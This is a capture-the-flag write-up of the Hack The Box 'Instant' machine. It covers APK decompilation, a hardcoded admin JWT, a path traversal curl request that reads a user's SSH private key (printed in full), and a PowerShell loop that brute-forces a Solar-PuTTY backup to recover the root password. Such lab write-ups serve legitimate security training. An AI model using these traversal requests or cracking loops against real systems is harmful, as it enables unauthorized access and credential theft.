Reconnaissance
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Well as per usual the nmpa
reveals a listening webserver alongside the domain instant.htb
, which I add to my /etc/hosts
file.
Foothold as shirohige
Upon visiting the website I am immediately presented with the option to download an APK file, which is an actually functioning link. Given that this was the first time a saw an APK being part of a HTB machine I proceed with analysing the app right away.
Android App
The analysis of an APK file can include a variety of tools, depending on what you want to achieve and how “hands-on” you want to get. In most cases the easiest method is to load the APK into JADx.
This will take care of all the necessary steps I need to take to get from an APK to “valid” Java code.
- Decompressing the APK
- Converting the Dalvik bytecode to Java bytecode
- Converting the Java bytecode back to Java
- Making the
AndroidManifest.xml
human-readable
You can do all those steps one by one, using a different tools for each if want to get a better feeling for the process. Sometimes you might actually want to do this, since one of the intermediate products smali code by edited and recompiled back to an APK.
AndroidManifest
The AndroidManifest lists all the components of an app, the hardware requirements, the Activites and what permissions the app needs. Of general interest (not directly related to this machine) are allowBackup
and usesCleartextTraffic
. Especially the later is not something I would want to see in a banking app.
Besides those two this manifest looks rather benign and mostly tells me about were I can find the source code for all the different Activities. It also references two XML files in the attributes fullBackupContent
and dataExtractionRules
. While doing this machine I ignored these XML files initially and only circled back to them at a later point.
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
android:versionCode="1"
android:versionName="1.0"
android:compileSdkVersion="34"
android:compileSdkVersionCodename="14"
package="com.instantlabs.instant"
platformBuildVersionCode="34"
platformBuildVersionName="14">
<uses-sdk
android:minSdkVersion="26"
android:targetSdkVersion="34"/>
<uses-permission android:name="android.permission.INTERNET"/>
<permission
android:name="com.instantlabs.instant.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"
android:protectionLevel="signature"/>
<uses-permission android:name="com.instantlabs.instant.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION"/>
<application
android:theme="@style/Theme.Instant"
android:label="@string/app_name"
android:icon="@drawable/instant_logo"
android:allowBackup="true"
android:supportsRtl="true"
android:extractNativeLibs="false"
android:fullBackupContent="@xml/backup_rules"
android:usesCleartextTraffic="true"
android:roundIcon="@drawable/instant_logo"
android:appComponentFactory="androidx.core.app.CoreComponentFactory"
android:dataExtractionRules="@xml/data_extraction_rules">
<activity
android:name="com.instantlabs.instant.ForgotPasswordActivity"
android:exported="false"/>
<activity
android:name="com.instantlabs.instant.TransactionActivity"
android:exported="false"/>
<activity
android:name="com.instantlabs.instant.SplashActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
...SNIP...
Code Analysis
Simply looking through the classes in the app I came across an interesting looking one with the name AdminActivities
. As you can see in the source code below, specifically the highlighted line, this class contains a hardcoded JWT as well as the URL it is at http://mywalletv1.instant.htb/api/v1/view/profile
. As per usual I add the new subdomain to my hosts file.
package com.instantlabs.instant;
import com.google.gson.JsonParser;
import com.google.gson.JsonSyntaxException;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
/* loaded from: classes.dex */
public class AdminActivities {
private String TestAdminAuthorization() {
new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() { // from class: com.instantlabs.instant.AdminActivities.1
static final /* synthetic */ boolean $assertionsDisabled = false;
@Override // okhttp3.Callback
public void onFailure(Call call, IOException iOException) {
System.out.println("Error Here : " + iOException.getMessage());
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
if (response.isSuccessful()) {
try {
System.out.println(JsonParser.parseString(response.body().string()).getAsJsonObject().get("username").getAsString());
} catch (JsonSyntaxException e) {
System.out.println("Error Here : " + e.getMessage());
}
}
}
});
return "Done";
}
}
While I had no real reason to doubt the validity of the JWT I still check it with the following curl
command.
$ curl -s -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" http://mywalletv1.instant.htb/api/v1/view/profile | jq .
{
"Profile": {
"account_status": "active",
"email": "admin@instant.htb",
"invite_token": "instant_admin_inv",
"role": "Admin",
"username": "instantAdmin",
"wallet_balance": "10000000",
"wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
},
"Status": 200
}
Circling back to the MainActivity I see the while it it called “MainActivity” in fact the actual one is the R class.
package com.instantlabs.instant;
import android.os.Bundle;
import androidx.appcompat.app.AppCompatActivity;
/* loaded from: classes.dex */
public class MainActivity extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(R.layout.activity_main);
}
}
Now looking at the code contained in this class lots of it is responsible for UI activities and as such I can ignore it for now (since I have no real reason to investigate it).
In all the UI code a class called xml
stands out to especially since some of the variable names seem to reference the XML files mentioned in the AndroidManifest.xml
.
public static final class xml {
public static int backup_rules = 0x7f120000;
public static int data_extraction_rules = 0x7f120001;
public static int network_security_config = 0x7f120002;
private xml() {
}
}
Looking at the resources for this class I find the three mentioned XML files. In the network_security_config
I find yet another subdomain swagger-ui.instant.htb
. Going off of the name it’s a (hopefully) a Swagger endpoint, which will make analysing the already API easier. A quicker way to get here would have been to simply search all the files for instant.htb
to find more subdomains, after finding the JWT and the new subdomain.
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<domain-config cleartextTrafficPermitted="true">
<domain includeSubdomains="true">mywalletv1.instant.htb
</domain>
<domain includeSubdomains="true">swagger-ui.instant.htb
</domain>
</domain-config>
</network-security-config>
Instant API
After consulting the view logs and list users endpoints I can safely say that the user shirohige
exists on the machine and is a likely target for me. Which as a little fun fact on the side is the japanese name of the character “Whitebeard aka. Edward Newgate” from the anime OnePiece.
$ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/view/logs" -H "accept: application/json" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
{
"Files": [
"1.log"
],
"Path": "/home/shirohige/logs/",
"Status": 201
}
At first I test read logs for a potential command injection vulnerability but this did not pan out. So instead I try to traverse upwards in the directory to read local files as the user shirohige
. Since I already new the “lay of the land” from the view logs I know how many directories I have to traverse upwards.
After reading the user flag this way I still needed to gain access to the machine itself so I try to read the private SSH key of shirohige
.
$ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=..%2F.ssh%2Fid_rsa" -H "accept: application/json" -H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
{
"/home/shirohige/logs/../.ssh/id_rsa": [
"-----BEGIN RSA PRIVATE KEY-----\n",
"MIIEogIBAAKCAQEA6iMpyPbshdgcLsyfxKLtSQxGtWd4JYBiCTta72p8kU2AK7sR\n",
"GFVtlffAMqFdKfDfnkTQSCvPZeNOqWG9x+pY7/xl2Gxlh5nmuXR4cXhSFwcRpIZq\n",
"3Beih0cWV+5LwarxLfSyCZlbVNI8sl5EKc7SGo2+KxJM8H7UJQmlEmeUrlC5qt2y\n",
"lcvEfe/+DF0lIN6K6szjEus3x3213l6yHNDkN76E+bZ0HSFFiSSN+EtEFvbFTg6n\n",
"KGL/ywOXuXAuGKFED6tEJmAGC57tr2g9bYLW+7SCCmitCGtdYLgv4R4fVhen4Haj\n",
"UG0y5tF5dsfx0kWzFZiVPeZTiGgjaAlIEP3UCQIDAQABAoIBAAJY2CPtir0u54hr\n",
"ZhzFi9aivtOLHhvqdlZ0mn1M063CtBVWzphFefU0sAqUjhomp0ffQCMVvQJe1b89\n",
"AuGjRnaLEOEgpAtou5SnbNzT/ucAG9k1Uj1S0imkPikjPcNAcbgQgazhiqDLleQY\n",
"AxD+uQyJrXV3KAo0oUSI8ldLA8U+tmx6zAwPlDJ9hIeEREMo32B27BnTKLxXq6Hm\n",
"aCV7/ebWeRlToFdVmo6xgyNcGW5rWu/OOi6asUgtI+oo9u3bA2RdJFXSbiFSMcgj\n",
"TwYSR5rvhZpt2PEb2CM9FOScf0jmcG20oj94tnPs/jvFhVfi29za1/1wm7GIn/+q\n",
"yK7k9OECgYEA9v9VaY/lU19mkiW+f2+iIbt8LhifsPqEvhq/+LzzVEQftz7lwoZ4\n",
"0mwPwmbXbYRYxpbafVNyH9LIQmPrBhIGDkK5b49Dd7OrexYWJaKRK/IQFia04ibI\n",
"qJXLMUeaFuarWu3mUrLvWrs5O+nUxzBMFCVnZuyptwjBzSeG9VC0yikCgYEA8qvW\n",
"A9BRy0knp3mnvpyMAQKlWsC/ydL3xq+3D4j0az4UrCInUI7/6KnOzPMN/LiYoMpE\n",
"MY+gsejFwyNERfRpVS9O2kVWu84bYbaf6oowQXcwUNOAVz8Lxg1cbDOgStmN+g2C\n",
"F/lS8dnhqh4zC24V+FmqL8ghZVIUcJqC3mFHtuECgYANRSCQoFOAzDJVjcOTUysR\n",
"xuHgFCCYQI1bLVK9CWHFWDef/7gWYGUjYPzjw+S1FJQ0byxj6VTLUubBcl7RH6zF\n",
"nV4bGUZVqwh+f2xHL1m/U6z7k67KK61CKXIWPrOPoWr5YqiqLsTfSgnEJ0bwQK8F\n",
"shDBHdvsYoMPA52jlmdwKQKBgH1RZ/AIQHUujh/an1m8FkDfUO0Q5PogzHv6ehq3\n",
"qyFGqf5KlOrxLg7EwlrsmaiM26UNTzIY7e9yOc6QA83sbgjjqWDmtee+hD1txh+k\n",
"xU7JclYLIxfrIvVgKP5nmruMpdkf6LLguojS78qeVdXtP8NE6rJKM5TTUmLkJ/kX\n",
"W6WBAoGAFBfQP8CbTvzxx/G9z+3zEESY7k41nMZUcVhPe5Mr5QZ9PR003jmx0rr7\n",
"bu4BILYxsUsrsjaF/Cl9WuDTHGZpR5GZSWqYXa6RGr10WYivVXBnEfx5pyuJj7us\n",
"PQh6DGMgEhHV2gAyR/TWmxiGU+bq2a3PVgfFOZ59R93lJO2jBwI=\n",
"-----END RSA PRIVATE KEY-----\n"
],
"Status": 201
}
After cleaning up the SSH key with a little bit of Cyberchef “Find/Replace” I can SSH into the machine.
Shell as root
LinPEAS points me towards some non-default directories in /opt
. The contents of the file are base64 encoded, but after decoding the content they turn into gibberish, which probably means they are encrypted.
...SNIP...
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/shirohige
/opt/backups
/opt/backups/Solar-PuTTY
/opt/backups/Solar-PuTTY/sessions-backup.dat
...SNIP...
shirohige@instant:/opt/backups/Solar-PuTTY$ cat sessions-backup.dat
ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/OzVAmNq0YO94RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kvOB0bNd/4PXn3j3wVMVzpNxuKuSJOvv0fzY/ZjendafYt1Tz1VHbH4aHc8LQvRfW6Rn+5uTQEXyp4jE+ad4DuQk2fbm9oCSIbRO3/OKHKXvpO5Gy7db1njW44Ij44xDgcIlmNNm0m4NIo1Mb/2ZBHw/MsFFoq/TGetjzBZQQ/rM7YQI81SNu9z9VVMe1k7q6rDvpz1Ia7JSe6fRsBugW9D8GomWJNnTst7WUvqwzm29dmj7JQwp+OUpoi/j/HONIn4NenBqPn8kYViYBecNk19Leyg6pUh5RwQw8Bq+6/OHfG8xzbv0NnRxtiaK10KYh++n/Y3kC3t+Im/EWF7sQe/syt6U9q2Igq0qXJBF45Ox6XDu0KmfuAXzKBspkEMHP5MyddIz2eQQxzBznsgmXT1fQQHyB7RDnGUgpfvtCZS8oyVvrrqOyzOYl8f/Ct8iGbv/WO/SOfFqSvPQGBZnqC8Id/enZ1DRp02UdefqBejLW9JvV8gTFj94MZpcCb9H+eqj1FirFyp8w03VHFbcGdP+u915CxGAowDglI0UR3aSgJ1XIz9eT1WdS6EGCovk3na0KCz8ziYMBEl+yvDyIbDvBqmga1F+c2LwnAnVHkFeXVua70A4wtk7R3jn8+7h+3Evjc1vbgmnRjIp2sVxnHfUpLSEq4oGp3QK+AgrWXzfky7CaEEEUqpRB6knL8rZCx+Bvw5uw9u81PAkaI9SlY+60mMflf2r6cGbZsfoHCeDLdBSrRdyGVvAP4oY0LAAvLIlFZEqcuiYUZAEgXgUpTi7UvMVKkHRrjfIKLw0NUQsVY4LVRaa3rOAqUDSiOYn9F+Fau2mpfa3c2BZlBqTfL9YbMQhaaWz6VfzcSEbNTiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf0Oo2+yV3lwsBIUWvhQw2g=
Solar Putty
After doing some light research about Solar Putty I find an article and an accompanying repository, which discuss the topic of decrypting Solar Putty session backups.
To provided tool already has a compiled executable releases so I spin up my Windows VM and write a little wrapper Powershell script. This script was necessary since the decryptor only takes one password at a time. It will stop once it find the string Credentials
from a correctly decrypted backup.
$filePath = "C:\Path\to\rockyou.txt"
$binaryPath = "C:\Path\to\SolarPuttyDecrypt.exe"
$success = "Credentials"
Get-Content $filePath | ForEach-Object {
$line = $_.Trim()
$output = & $binaryPath "session.txt" $line 2>$null
# Check if the output contains the stop string
if ($output -like "*$success*") {
Write-Host "[+] SUCCESS '$line' is the correct password"
break
}
}
The script/tool runs for a bit and shows me correct password of estrella
. The decrypted data will also be dropped in a text file on the users desktop. So strictly speaking printing the password was not needed but I wanted to know it anyways. With contained password within I can now use su
to elevate from shirohige
to root
.
{
"Sessions": [
{
"Id": "066894ee-635c-4578-86d0-d36d4838115b",
"Ip": "10.10.11.37",
"Port": 22,
"ConnectionType": 1,
"SessionName": "Instant",
"Authentication": 0,
"CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
"AuthenticateScript": "00000000-0000-0000-0000-000000000000",
"LastTimeOpen": "0001-01-01T00:00:00",
"OpenCounter": 1,
"SerialLine": null,
"Speed": 0,
"Color": "#FF176998",
"TelnetConnectionWaitSeconds": 1,
"LoggingEnabled": false,
"RemoteDirectory": ""
}
],
"Credentials": [
{
"Id": "452ed919-530e-419b-b721-da76cbe8ed04",
"CredentialsName": "instant-root",
"Username": "root",
"Password": "12**24nzC!r0c%q12",
"PrivateKeyPath": "",
"Passphrase": "",
"PrivateKeyContent": null
}
],
"AuthScript": [],
"Groups": [],
"Tunnels": [],
"LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}